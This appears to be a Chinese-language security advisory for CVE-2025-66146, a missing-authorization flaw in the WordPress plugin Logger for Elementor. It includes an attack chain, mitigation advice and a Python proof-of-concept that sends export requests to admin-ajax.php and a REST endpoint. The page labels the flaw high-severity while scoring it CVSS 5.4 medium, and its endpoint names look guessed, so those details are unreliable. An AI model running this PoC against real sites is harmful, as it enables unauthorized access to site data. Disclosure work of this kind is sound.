IPBUF安全漏洞报告
English
CVE-2025-66146 CVSS 5.4 中危

CVE-2025-66146 Logger for Elementor插件授权缺失漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-66146
漏洞类型
授权缺失
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
merkulove Logger for Elementor (WordPress插件)

相关标签

授权缺失Broken Access ControlWordPress插件漏洞Logger for ElementorCVE-2025-66146OWASP Top 10权限绕过Elementor

漏洞概述

CVE-2025-66146是WordPress插件Logger for Elementor中的一个高危授权缺失漏洞。该插件由merkulove开发,主要用于记录Elementor页面构建器的操作日志。漏洞源于插件对用户权限验证不充分,允许低权限用户(如订阅者角色)执行本应需要更高权限的操作。攻击者可以利用此漏洞绕过访问控制机制,访问或修改其他用户的数据,包括日志记录内容、用户信息等敏感数据。由于该插件在WordPress生态中应用广泛,漏洞可能影响大量使用Elementor构建网站的WordPress站点。CVSS评分5.4属于中等严重程度,主要因为其攻击复杂度低、所需权限低,且无需用户交互即可实现攻击。

技术细节

该漏洞属于OWASP Top 10中的A01:2021 - Broken Access Control类别。在Logger for Elementor插件中,某些关键功能端点缺少适当的权限检查函数,如current_user_can()或wp_verify_nonce()。具体而言,插件在处理日志查看、导出或删除请求时,仅验证用户是否登录,而未检查用户是否具备管理日志的权限。这使得任何已认证用户(包括最低权限的订阅者)都能通过发送特制请求来访问管理员级别的功能。攻击者可以利用WordPress REST API或admin-ajax.php端点,构造类似wp-admin/admin-ajax.php?action=logger_export的请求,配合有效的认证cookie即可触发漏洞。漏洞影响版本为1.0.9及以下所有版本。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress站点的低权限账户(如订阅者角色)
STEP 2
步骤2
攻击者识别Logger for Elementor插件并确认版本<=1.0.9
STEP 3
步骤3
攻击者构造恶意请求访问插件中缺少权限检查的端点
STEP 4
步骤4
利用admin-ajax.php或REST API发送特制请求绕过访问控制
STEP 5
步骤5
成功导出、查看或修改本应需要管理员权限才能访问的日志数据
STEP 6
步骤6
攻击者获取敏感信息或横向移动进一步控制网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66146 PoC - Logger for Elementor Authorization Bypass # Affected: Logger for Elementor <= 1.0.9 import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else 'http://target.com' # Authenticated low-privilege user session cookies = { 'wordpress_test_cookie': 'WP+Cookie+check', 'wordpress_logged_in_xxx': 'user_session_token' } # Exploit: Access admin-only log export functionality payload = { 'action': 'logger_export', 'nonce': 'optional_if_exists' } print(f'[*] Targeting: {target}') print('[*] Exploiting Missing Authorization in Logger for Elementor...') # Method 1: Via admin-ajax.php url1 = f'{target}/wp-admin/admin-ajax.php' response1 = requests.post(url1, data=payload, cookies=cookies) print(f'[+] Response from admin-ajax: {response1.status_code}') print(response1.text[:500]) # Method 2: Via REST API if available url2 = f'{target}/wp-json/logger/v1/export' response2 = requests.get(url2, cookies=cookies) print(f'[+] Response from REST API: {response2.status_code}') print(response2.text[:500])

影响范围

Logger for Elementor <= 1.0.9

防御指南

临时缓解措施
如果无法立即更新插件,可通过以下方式临时缓解:在wp-config.php中添加访问控制规则,限制非管理员用户对/wp-admin/admin-ajax.php和/wp-json/logger/*端点的访问;或使用WordPress安全插件如Wordfence配置自定义防火墙规则阻止针对该插件的恶意请求。同时建议审查所有用户账户权限,移除不必要的订阅者级别账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表